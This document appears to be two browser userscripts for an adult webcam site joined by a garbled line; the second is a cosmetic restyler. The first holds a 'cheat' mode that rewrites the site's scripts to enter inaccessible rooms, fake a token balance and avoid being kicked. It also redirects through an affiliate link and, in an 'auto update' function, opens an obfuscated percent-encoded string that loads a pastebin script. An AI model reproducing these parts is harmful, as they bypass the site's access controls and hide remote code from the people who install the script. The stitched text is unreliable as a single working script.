- 583. newdiv.innerHTML=' <a href="#">refresh userlist sorted by tokens</a>';
- 584. newdiv.addEventListener('click',function(){sortuser();}, false);
- 585. ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
- 586.
- 587. }}
- 588.
- 589. // tip mute option and fuction
- 590. settings=document.getElementsByClassName('settings-list')[0];
- 591. if (settings){
- 592. if(!document.getElementById("tipmute")){
- 593. newform=document.createElement('form');
- 594. newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
- 595. settings.appendChild(newform);
- 596.
- 597. scrip=document.createElement('script');
- 598. scriptstring="if(document.getElementById('tipmute')){"
- 599. +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
- 600.
- 601. scrip.innerHTML=scriptstring;
- 602. document.getElementsByTagName('body')[0].appendChild(scrip);
- 603.
- 604. }}
- 605. } // end if play
- 606.
- 607. // if on front page
- 608. //rewrite thumb links with P and let them open in a new window
- 609.
- 610. front=document.getElementsByClassName('list')[0];
- 611. if(front) {
- 612. if (front.id != "check"){ // id is gone when updated
- 613. front.id="check";
- 614.
- 615. // names with p
- 616. function setkeys(front){
- 617. blocks=front.getElementsByTagName('a');
- 618. for (i=0; i<blocks.length; i++){
- 619. link=blocks[i].href;
- 620. splits=link.split("/");
- 621. if (splits[3]){
- 622. if (splits[3]!="p"){
- 623. link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
- 624. blocks[i].href=link;
- 625. blocks[i].target="_blank";
- 626. }}}
- 627. } // end setkeys function
- 628.
- 629.
- 630.
- 631. setkeys (front);
- 632. if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
- 633.
- 634. }//end if front
- 635. } // end if ID
- 636. },3000) // end timer
- 637. } // end not broadcasting
- 638. } // end logged in
- 639.
- 640. } // end main function
- 641.
- 642. // sorted userlist
- 643.
- 644. function sortuser(){
- 645. ulist=document.getElementsByClassName('users-list')[0];
- 646. if (ulist){
- 647. ulist.innerHTML="Sorting userlist....";
- 648. room=unsafeWindow.nextroomurl.split("/")[2];
- 649. userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
- 650. GM_xmlhttpRequest({
- 651. method: 'GET',
- 652. url: userurl,
- 653. onload: function(response) {
- 654. data = response.responseText;
- 655. userarray=data.split(",");
- 656. ulist.innerHTML="";
- 657. for (i=1;i<userarray.length;i++){
- 658. uname=userarray[i].split("|")[0];
- 659. ucol=userarray[i].split("|")[1];
- 660. div3=document.createElement('div');
- 661. div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
- 662. ulist.appendChild(div3);
- 663. }
- 664. }})
- 665. }}
- 666.
- 667. //popvid
- 668. function popvid(){
- 669. vidwin=document.getElementById("player").innerHTML;
- 670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
- 671. popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
- 672. popUpWindow.document.close();
- 673. window.close();
- 674. document.location.href="http://chaturbate.com"}
- 675.
- 676. // new cheat function
- 677. function npcheat(preformer,anon){
- 678.
- 679. mmode=0;
- 680. if(document.getElementById('mobmode').checked==true){mmode=1}
- 681.
- 682. // get chat host
- 683. GM_xmlhttpRequest({
- 684. method: 'GET',
- 685. url: 'http://www.chaturbate.com/embed/'+preformer,
- 686. onload: function(response2) {
- 687. data2 = response2.responseText;
- 688.
- 689. chostpos=data2.indexOf("rtmp://chat");
- 690. if (chostpos == -1){
- 691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
- 692. if (r==true){chost="rtmp://chat1"}
- 693. else{chost="rtmp://chat2"}}
- 694. else{
- 695. chost=data2.substring(chostpos,chostpos+12)}
- 696.
- 697. // set a cookie so we know the new page must be adjusted and how
- 698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
- 699.
- 700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
- 701.
- 702. }});
- 703. }
- 704.
- 705. //auto update
- 706. function save(){
- 707. if(document.getElementsByClassName('username')[0]){
- 708. uname=document.getElementsByClassName('username')[0].innerHTML;
- 709.
- 710.
- 711.
- 712. // createCookie("agreeterms","1",1);
- 713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
- 714. upperdate();
- 715.
- 716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
- 717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
- 718. }
- 719.
- 720. // create video box with shoutbox, image,normal and anon option, kill refesh
- 721. function makevid(preformer){
- 722.
- 723. // kill all timeouts
- 724. scrip=document.createElement('script');
- 725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
- 726. document.getElementsByTagName('body')[0].appendChild(scrip);
- 727.
- 728. // image
- 729. prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
- 730.
- 731. Fversion = getfversion();
- 732. videodata2 = videodata2.replace("ladroop",preformer);
- 733. newvid=document.createElement('div');
- 734.
- 735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
- 736.
- 737. document.getElementsByClassName('block')[0].appendChild(newvid);
- 738. newli=document.createElement('li');
- 739. newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
- 740. if (bar){bar.appendChild(newli)}
- 741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
- 742. ainput()}
- 743.
- 744. // set anon
- 745. function ainput(){
- 746. newli=document.createElement('li');
- 747. newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
- 748. if (bar){bar.appendChild(newli)}
- 749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
- 750. mobset()}
- 751.
- 752. // mobile mode
- 753. function mobset(){
- 754. newli=document.createElement('li');
- 755. newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
- 756. if (bar){bar.appendChild(newli)}}
- 757.
- 758.
- 759. // reconnect chatbox , give me mu8 link
- 760. function keyinput(){
- 761. if (!document.getElementById("cheat")){
- 762.
- 763. if (document.getElementById("movie")){
- 764. place=document.getElementsByClassName('info-user')[0];
- 765. if(!place){place=document.getElementById("shout")} // for pw room with chat
- 766.
- 767. //chat reload
- 768. if (document.getElementsByClassName("chat-box")[0]){
- 769. chatreload=document.createElement('div');
- 770. chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
- 771. document.getElementById("defchat").insertBefore(chatreload,place)}
- 772.
- 773. if (document.getElementsByTagName('video')[0]){
- 774. vidlink=document.getElementsByTagName('video')[0].src;
- 775. vid=document.createElement('div');
- 776. vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
- 777. document.getElementById("defchat").insertBefore(vid,place)}}
- 778. }
- 779. }
- 780.
- 781. //get saved flashplayer version
- 782. function getfversion(){
- 783. Fversion=readCookie("CBversion");
- 784. if(!Fversion){Fversion=flashplayer}
- 785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
- 786. return version}
- 787.
- 788. // videobox data
- 789. var servers=new Array("","-a","-b");
- 790. var server = servers[Math.floor(Math.random()*3)];//0-1-2
- 791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
- 792.
- 793. videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
- 794. +'<object id="movie" type="application/x-shockwave-flash" data="';
- 795.
- 796. videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
- 797. +'<param name="allowScriptAccess" value="always">'
- 798. +'<param name="allowFullScreen" value="true">'
- 799. +'<param name="quality" value="high">'
- 800. +'<param name="wmode" value="opaque">'
- 801. +'<param name="id" value="movie">'
- 802. +'<param name="FlashVars" value="pid=ladroop&address=edge'
- 803. + servnr+server
- 804. +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
- 805. +'</object></div>'
- 806.
- 807. // shoutbox data
- 808. sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
- 809. +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
- 810. +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
- 811.
- 812. // some cookies
- 813. createCookie("u_NxHf","1",1);
- 814. createCookie("us_NxHf","1",1);
- 815. createCookie("dsmn29","1",1);
- 816. createCookie("dsmn26","1",1);
- 817. createCookie("dsmn27","1",1);
- 818. createCookie("dsmn28","1",1);
- 819.
- 820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
- 821.
- 822. //----------------------------------------------------------------------------------------------------------------------------------
- 823. // executes !everytime! before a script executes
- 824. function do_script2(e) {
- 825.
- 826. // we will always kill swf storage and earase exisiting storage
- 827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
- 828.
- 829. if(!e.target.id){// already altered ? , then ID is set
- 830.
- 831. script=e.target.innerHTML;
- 832. e.preventDefault();
- 833. e.stopPropagation();
- 834. e.target.parentNode.removeChild(e.target);
- 835.
- 836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
- 837.
- 838. scrip=document.createElement('script');
- 839. scrip.id="newswfstor";
- 840.
- 841. scrip.innerHTML=script;
- 842. document.getElementsByTagName('body')[0].appendChild(scrip);
- 843.
- 844. }}
- 845.
- 846.
- 847. // this part does the flash init script , only remove logo if in normal mode
- 848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
- 849.
- 850. if(!e.target.id){// already altered ? , then ID is set
- 851.
- 852. script=e.target.innerHTML;
- 853. e.preventDefault();
- 854. e.stopPropagation();
- 855. e.target.parentNode.removeChild(e.target);
- 856.
- 857. scrip=document.createElement('script');
- 858. scrip.id="newvid";
- 859.
- 860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
- 861.
- 862.
- 863.
- 864. if (!readCookie("cheatmode")){
- 865. scrip.innerHTML=script;
- 866. document.getElementsByTagName('body')[0].appendChild(scrip);
- 867. return} // only do the rest if we are in cheatmode , return here if in normal mode
- 868.
- 869. mode=readCookie("cheatmode").split("&");
- 870. preformer=mode[0];
- 871. anon=mode[1];
- 872. mob=mode[2];
- 873. chost=mode[3];
- 874.
- 875. orgname=document.location.href.split("/")[4];
- 876.
- 877. var patrn = new RegExp(orgname,"ig");
- 878. script=script.replace(patrn,preformer);
- 879.
- 880. if((anon==1)||(mob==1)){
- 881. pos1 = script.indexOf('ProductInstall.swf",');
- 882. pos2 = script.indexOf("',",pos1);
- 883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser');
- 884.
- 885. pos1 = script.indexOf("pbkdf2_sha256");
- 886. pos2 = script.indexOf("',",pos1);
- 887. script=script.replace(script.substring(pos1,pos2),"anonymous");
- 890. scrip.innerHTML=script;
- 891. document.getElementsByTagName('body')[0].appendChild(scrip);
- 895. // next only if in cheatmode
- 896. if (!readCookie("cheatmode")){return}
- 897. mode=readCookie("cheatmode").split("&");
- 898. preformer=mode[0];
- 899. anon=mode[1];
- 900. mob=mode[2];
- 901. chost=mode[3];
- 902.
- 903. orgname=document.location.href.split("/")[4];
- 904.
- 905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
- 907. if(!e.target.id){// already altered ? , then ID is set
- 909. script=e.target.innerHTML;
- 910. e.preventDefault();
- 911. e.stopPropagation();
- 912. e.target.parentNode.removeChild(e.target);
- 914. var patrn = new RegExp(orgname,"ig");
- 915. script=script.replace(patrn,preformer);
- 917. script=script.replace("rtmp://chat1",chost);
- 918. script=script.replace("rtmp://chat2",chost);
- 920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
- 922. script=script.replace("window.location.reload()","return"); // no more kick
- 923.
- 924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
- 925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
- 927. if (mob==1){
- 928. script=script.replace("force_handler: null","force_handler: html_handler")}
- 930. if(anon==1){
- 931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
- 932. username="";
- 933. l=5+Math.floor((Math.random()*6)+1);
- 934. for (i=0; i<l; i++){
- 935. rand = Math.floor(Math.random()*rd.length);
- 936. username=username+rd.charAt(rand)}
- 937. username = "__anonymous__"+username;
- 939. pos1 = script.indexOf("username: '");
- 940. pos2 = script.indexOf("',",pos1);
- 941. script=script.replace(script.substring(pos1,pos2),"username: '"+username);
- 943. pos1 = script.indexOf("my_username: '");
- 944. pos2 = script.indexOf("',",pos1);
- 945. script=script.replace(script.substring(pos1,pos2),"my_username: '");
- 947. pos1 = script.indexOf("token_balance:");
- 948. pos2 = script.indexOf(",",pos1);
- 949. script=script.replace(script.substring(pos1,pos2),"token_balance: 1000")
- 951. pos1 = script.indexOf("pbkdf2_sha256");
- 952. pos2 = script.indexOf("',",pos1);
- 953. script=script.replace(script.substring(pos1,pos2),"anonymous");
- 954. } // end if anon
- 957. scrip=document.createElement('script');
- 958. scrip.id="newchat";
- 960. scrip.innerHTML=script;
- 961. document.getElementsByTagName('body')[0].appendChild(scrip);
- 965. // next room url or else sorted userlist fails
- 966. if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
- 968. if(!e.target.id){// already altered ? , then ID is set
- 970. script=e.target.innerHTML;
- 971. e.preventDefault();
- 972. e.stopPropagation();
- 973. e.target.parentNode.removeChild(e.target);
- 975. var patrn = new RegExp(orgname,"ig");
- 976. script=script.replace(patrn,preformer);
- 977.
- 978. scrip=document.createElement('script');
- 979. scrip.id="newnext";
- 981. scrip.innerHTML=script;
- 982. document.getElementsByTagName('body')[0].appendChild(scrip);
- 987. window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
- 988.
- 989. window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
- 991. //.user.js
- ? > ><==UserScript==><
- this.$ = this.jQuery = jQuery.noConflict(true);
- if (window.location.protocol != 'https:') {
- window.location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
- }
- //===============================================Inserts holder for color selector and hide for now
- var jsColorBox = ('<div id="jsDiv"></div><input class="jscolor {onFineChange:"update(this)", width:101, padding:0, shadow:true,borderWidth:1, backgroundColor:"transparent", insetColor:"#000"}" value="80bfff" style="position:absolute; top:93px; left:555px; z-index:1002;" >');
- $('#nav').append(jsColorBox);
- $('.jscolor').hide();
- function update(jscolor) {
- // 'jscolor' instance can be used as a string
- var jsClass = $('#lightColor');
- jsClass.text('#' + jscolor);
- }
- //=============================================== Configure proper UTC values for setting cookies
- var later = new Date();
- var laterDate = later.setUTCFullYear('2099');
- var now = new Date();
- var time = now.getTime();
- time += 21600000;
- now.setTime(time);
- //=============================================== Set the cookies to make sure these values are always set
- document.cookie = 'noads=1; expires=' + now.toUTCString() + '; path=/';
- document.cookie = 'agreeterms=1; expires=' + later.toUTCString() + '; path=/';
- document.cookie = 'np3=1; expires=' + later.toUTCString() + '; path=/';
- //===============================================
- //DELETE EXHIBITIONIST CAMS-THEY ARE SCARY SOMETIMES IF NOT OBSCENE
- //OR SOME SCAMMER SPAMMING CHAT OFFERING SKYPE SHOWS FOR MONEY
- //===============================================
- function myTimer() {
- var basura = $(".thumbnail_label_exhibitionist"); //Delete Exhibitionist Cams, always spam or very disgusting
- if (basura) {
- basura.parent().remove();
- }
- var cams = $(".details"); //Put thin border around cam preview thumbnails
- if (cams) {
- cams.parent().css({'color': "black", "border": "1px ridge black"});
- }
- var DOM = document.getElementsByClassName("list");
- var noSissies = $( "a:contains('sissy')" );
- if (noSissies) {
- noSissies.parentsUntil(DOM, "li").remove();
- }
- }
- //===============================================
- //========= Call removeElementByPath Function====
- //===============================================
- removeEBP();
- //===============================================
- function getCookie(cname) {
- var name = cname + "=";
- var ca = document.cookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') c = c.substring(1);
- if (c.indexOf(name) != -1) {
- return c.substring(name.length, c.length);
- }}
- return "";
- }
- var color1 = getCookie('cb-color1');
- var color2 = getCookie('cb-color2');
- if ((color1 === "") || (color2 === "")) {
- var color = ["80bfff", "000000"];
- } else {
- var color = [color1, color2];
- }
- var color3 = getCookie('cb-color3');
- var color4 = getCookie('cb-color4');
- var chkbx = getCookie('cb-chkbx');
- if (chkbx == 'locked') {
- var varCheck = 'true';
- var posi = 'fixed';
- }
- else {
- var varCheck = 'false';
- var posi = 'absolute';
- }
- var chkbx2 = getCookie('cb-chkbx-2');
- if (chkbx2 == 'locked') {
- var varCheck2 = 'true';
- jQuery('document').ready(function($) {
- var nav = $('.nav-bar');
- $(window).scroll(function() {
- if ($(this).scrollTop() > 85) {
- nav.addClass('fixnav');
- }
- else {
- nav.removeClass('fixnav');
- }
- });
- });
- }
- else {
- jQuery('document').ready(function($) {
- var nav = $('.nav-bar');
- $(window).scroll(function() {
- if ($(this).scrollTop() < 0) {
- nav.addClass('fixnav');
- }
- else {
- nav.removeClass('fixnav');
- }
- });
- });
- }
- //===================================================== Creates the SETTINGS Link On Top of Page
- function quickCheck() {
- $(document).ready(function(){
- var vnumber = '5.2.0';
- var version = 'Chaturbate Enhanced - Version ' + vnumber;
- var vernum = document.createElement('INS');
- var txt = document.createTextNode(version);
- vernum.setAttribute('id', 'verText');
- vernum.setAttribute('style', 'position:absolute; top:36px; left:300px; color:#181818; font-family:arial; font-size:0.875em; font-weight:normal; text-decoration:none; z-index:1000;');
- vernum.appendChild(txt);
- document.body.appendChild(vernum);
- var verCheck = document.createElement('INS');
- var verTxt = document.createTextNode('');
- verCheck.setAttribute('id', 'verText');
- verCheck.setAttribute('style', 'display:none;');
- verCheck.appendChild(verTxt);
- document.body.appendChild(verCheck);
- var edit = document.createElement('A');
- var editTxt = document.createTextNode('Settings');
- edit.setAttribute('id', 'editBut');
- edit.setAttribute('style', 'position:absolute; top:18px; left:298px; font-family:arial; font-size:1.125em; font-weight:bold; text-decoration:none; z-index:1000;');
- edit.setAttribute('href', '#');
- edit.onclick = function() {
- $('.jscolor').show();
- var makeForm = document.createElement('FORM');
- makeForm.setAttribute('id', 'colorForm');
- makeForm.setAttribute('style', 'position:absolute; top:0; left:150px; width:278px; height:340px; background-color:#ffffff; border:1px solid #cbcbcb; border-radius:0px 1px 4px 0; z-index:1001;');
- document.body.appendChild(makeForm);
- //===================================================== Choose a light hexadecimal color label
- var pick1 = document.createElement('INS');
- var pickLight = document.createTextNode('Choose a light hexadecimal color');
- pick1.setAttribute('style', 'position:absolute; top:10px; left:170px; text-decoration:none; z-index:1002;');
- pick1.setAttribute('id', 'pick1Label');
- pick1.appendChild(pickLight);
- document.body.appendChild(pick1);
- //===================================================== Choose a light hexadecimal color input box
- var light = document.createElement('INPUT');
- light.setAttribute('id', 'lightColor');
- light.setAttribute('type', 'text');
- light.setAttribute('value', color[0]);
- light.setAttribute('style', 'position:absolute; top:20px; left:20px; text-decoration:none; z-index:1002;');
- document.getElementById('colorForm').appendChild(light);
- //===================================================== Choose a dark hexadecimal color
- var pick2 = document.createElement('INS');
- var pickDark = document.createTextNode('Choose a dark hexadecimal color');
- pick2.setAttribute('style', 'position:absolute; top:60px; left:170px; text-decoration:none; z-index:1002;');
- pick2.appendChild(pickDark);
- document.body.appendChild(pick2);
- //===================================================== Choose a dark hexadecimal input box
- var dark = document.createElement('INPUT');
- dark.setAttribute('id', 'darkColor');
- dark.setAttribute('type', 'text');
- dark.setAttribute('value', color[1]);
- dark.setAttribute('style', 'position:absolute; top:70px; left:20px; text-decoration:none; z-index:1002;');
- document.getElementById('colorForm').appendChild(dark);
- //===================================================== Favorite Model Label for Input Box
- var pick3 = document.createElement('INS');
- var pickName = document.createTextNode('Choose a favorite model.');
- pick3.setAttribute('style', 'position:absolute; top:110px; left:170px; text-decoration:none; z-index:1002;');
- pick3.appendChild(pickName);
- document.body.appendChild(pick3);
- //===================================================== Favorite Model Input Box
- var modelName = document.createElement('INPUT');
- modelName.setAttribute('id', 'modelNameBox');
- modelName.setAttribute('type', 'text');
- modelName.setAttribute('value', color3);
- modelName.setAttribute('style', 'position:absolute; top:120px; left:20px; text-decoration:none; z-index:1002;');
- document.getElementById('colorForm').appendChild(modelName);
- //===================================================== Font Name Label for Input Box
- var pick4 = document.createElement('INS');
- var pickFontName = document.createTextNode('Change Font Type');
- pick4.setAttribute('style', 'position:absolute; top:155px; left:170px; text-decoration:none; z-index:1002;');
- pick4.appendChild(pickFontName);
- document.body.appendChild(pick4);
- //===================================================== Font Name Combo Box
- var pickFont = document.createElement('SELECT');
- pickFont.setAttribute('style', 'position:absolute;top: 170px;left:20px;text-decoration:none;z-index:1002;');
- pickFont.setAttribute('id', 'fontNameBox');
- pickFont.setAttribute('type', 'option');
- pickFont.setAttribute('elementtype', 'combobox');
- pickFont.setAttribute('size', '1');
- var pickOption = document.createElement('OPTION');
- var pickOpt1 = document.createTextNode('Rockwell');//=====FIRST OPTION
- pickOption.setAttribute('value', '1');
- pickOption.appendChild(pickOpt1);
- pickFont.appendChild(pickOption);
- var pickOption2 = document.createElement('OPTION');
- var pickOpt2 = document.createTextNode('Tw Cen MT');//=====SECOND OPTION
- pickOption2.setAttribute('value', '2');
- pickOption2.appendChild(pickOpt2);
- pickFont.appendChild(pickOption2);
- var pickOption3 = document.createElement('OPTION');
- var pickOpt3 = document.createTextNode('Verdana');//=====THIRD OPTION
- pickOption3.setAttribute('value', '3');
- pickOption3.appendChild(pickOpt3);
- pickFont.appendChild(pickOption3);
- document.getElementById('colorForm').appendChild(pickFont);
- //===================================================== First checkbox label
- var scroll = document.createElement('INS');
- var scrollCheck = document.createTextNode('Lock room image in place.');
- scroll.setAttribute('style', 'position:absolute; top:205px; left:170px; text-decoration:none; z-index:1002;');
- scroll.appendChild(scrollCheck);
- document.body.appendChild(scroll);
- //===================================================== Checkbox
- var chbox = document.createElement('INPUT');
- if (varCheck == 'true') {
- chbox.setAttribute('id', 'checkBox');
- chbox.setAttribute('type', 'checkbox');
- chbox.setAttribute('checked', 'true');
- chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
- }
- else {
- chbox.setAttribute('id', 'checkBox');
- chbox.setAttribute('type', 'checkbox');
- chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
- }
- document.getElementById('colorForm').appendChild(chbox);
- //===================================================== Second checkbox label & Checkbox
- var scroll2 = document.createElement('INS');
- var scrollCheck2 = document.createTextNode('Lock navigation bar in place.');
- scroll2.setAttribute('style', 'position:absolute; top:245px; left:170px; text-decoration:none; z-index:1002;');
- scroll2.appendChild(scrollCheck2);
- document.body.appendChild(scroll2);
- var chbox2 = document.createElement('INPUT');
- if (varCheck2 == 'true') {
- chbox2.setAttribute('id', 'checkBox2');
- chbox2.setAttribute('type', 'checkbox');
- chbox2.setAttribute('checked', 'true');
- chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
- }
- else {
- chbox2.setAttribute('id', 'checkBox2');
- chbox2.setAttribute('type', 'checkbox');
- chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
- }
- document.getElementById('colorForm').appendChild(chbox2);
- //===================================================== Insert Close and Save buttons on bottom
- var save = document.createElement('A');
- var close = document.createElement('A');
- var saveTxt = document.createTextNode('Save');
- var closeTxt = document.createTextNode('Close');
- save.setAttribute('id', 'saveBut');
- close.setAttribute('id', 'closeBut');
- save.setAttribute('style', 'position:absolute; top:290px; left:364px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
- close.setAttribute('style', 'position:absolute; top:290px; left:314px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
- save.setAttribute('href', '#');
- close.setAttribute('href', '#');
- close.onclick = function() {
- $('.jscolor').hide();
- location.reload();
- };
- save.onclick = function() {
- $('.jscolor').hide();
- var color1 = document.getElementById('lightColor').value;
- var color2 = document.getElementById('darkColor').value;
- var color3 = document.getElementById('modelNameBox').value;
- var color4 = document.getElementById('fontNameBox').value;
- //===================================================== Check first checkbox from cookie
- var varCheck = document.getElementById('checkBox').checked;
- if (varCheck === true) {
- document.cookie = 'cb-chkbx=locked; expires=' + later.toUTCString() + '; path=/';
- }
- else {
- document.cookie = 'cb-chkbx=unlocked; expires=' + later.toUTCString() + '; path=/';
- }
- //===================================================== Check second checkbox from cookie
- var varCheck2 = document.getElementById('checkBox2').checked;
- if (varCheck2 === true) {
- document.cookie = 'cb-chkbx-2=locked; expires=' + later.toUTCString() + '; path=/';
- }
- else {
- document.cookie = 'cb-chkbx-2=unlocked; expires=' + later.toUTCString() + '; path=/';
- }
- //===================================================== Set color hex values in cookies
- document.cookie = 'cb-color1=' + color1 + '; expires=' + later.toUTCString() + '; path=/';
- document.cookie = 'cb-color2=' + color2 + '; expires=' + later.toUTCString() + '; path=/';
- document.cookie = 'cb-color3=' + color3 + '; expires=' + later.toUTCString() + '; path=/';
- if (color4 == 1) {
- document.cookie = 'cb-color4=' + "Rockwell" + '; expires=' + later.toUTCString() + '; path=/';
- } else if (color4 == 2) {
- document.cookie = 'cb-color4=' + "Tw Cen MT" + '; expires=' + later.toUTCString() + '; path=/';
- } else if (color4 == 3){
- document.cookie = 'cb-color4=' + "Verdana" + '; expires=' + later.toUTCString() + '; path=/';
- }
- location.reload();
- };
- close.appendChild(closeTxt);
- save.appendChild(saveTxt);
- document.body.appendChild(close);
- document.body.appendChild(save);
- };
- edit.appendChild(editTxt);
- document.body.appendChild(edit);
- });
- }
- //===================================================== Creates the SETTINGS Link only on these pages
- var versionTxt = document.URL;
- var locPathName = location.pathname;
- var chtBox = $('.chat-box');
- if ((locPathName === '/trans-cams/') || (locPathName === '/') || (versionTxt === 'https://chaturbate.com/')) {
- var myGarbageCollector = setInterval(myTimer, 1000);
- quickCheck();
- } else if (chtBox) {
- var myGarbageCollector2 = setInterval(chatGraphics, 50000);//Chatbox exists, add timer to clean chat spam
- var tTip = $('#tooltip-subject');
- if (tTip) { tTip.remove(); } //Remove the Room Subject Tooltip that sometimes gets stuck open
- var nextcam = $( ".nextcam" );
- if (nextcam) { nextcam.remove(); } //Remove SCAN cams and NEXT CAM tabs
- }
- //===================================================== Function to find annoying chat graphics
- function chatGraphics () {
- var strTitle = [":notips", ":comeontipguys", ":tip", ":tokens", ":tipifyoulike", ":tipguyz", ":motivation" +
- ":moretipsgreatshow", ":moreme", ":mmmh", ":tipguys", ":notipnoshow", ":plssendtip01" +
- ":moretipmoreshow2", ":tipsshow", ":plsfollow01", ":transfrot", ":moretips1", ":150" +
- ":tipsee", ":tokensforreqests", ":showtip", ":suckingdeep"];
- for (var j=0;j<strTitle.length;j++){
- var imageString = $('img[title="' + strTitle[j] + '"]');
- if (imageString) {
- imageString.remove();
- }
- }
- }
- function addGlobalStyle(css) {
- var head, style;
- head = document.getElementsByTagName('head')[0];
- if (!head) { return; }
- style = document.createElement('style');
- style.type = 'text/css';
- style.innerHTML = css;
- head.appendChild(style);
- }
- addGlobalStyle('#header .ad {display:none!important;}' +
- '.logo {background:url(\'https://greasyfork.org/system/screenshots/screenshots/000/003/216/thumb/logo-standard.png\') no-repeat!important;}' +
- '#main .ad {display:none!important;}' +
- '#botright {display:none!important;}' +
- '#main .banner {display:none!important;}' +
- '#close_entrance_terms {background-color:#' + color[0] + '!important;}' +
- '#close_broadcast_terms {background-color:#' + color[0] + '!important;}' +
- 'a {color:#' + color[1] + '!important; outline-style:none!important; text-decoration:none!important;}' +
- 'a:hover {color:#777777!important;}' +
- 'body {background-color:#000000!important;}' +
- '#header {background-image:http://deplist.weebly.com/uploads/6/1/9/1/61911901/7467455_orig.png!important; background-color:#' + color[0] + '!important;}' +
- '#header .section {background-color:#' + color[0] + '!important;}' +
- '#main .top-section p{margin:0 0 1px!important;}' +
- '#main .top-section {border-bottom:1px solid #000000!important; border-bottom-width: thin!important; border-bottom-style: double!important; box-shadow: 0 5px 1px 6px #000000!important; padding:0px 19px 0 19px!important;}' +
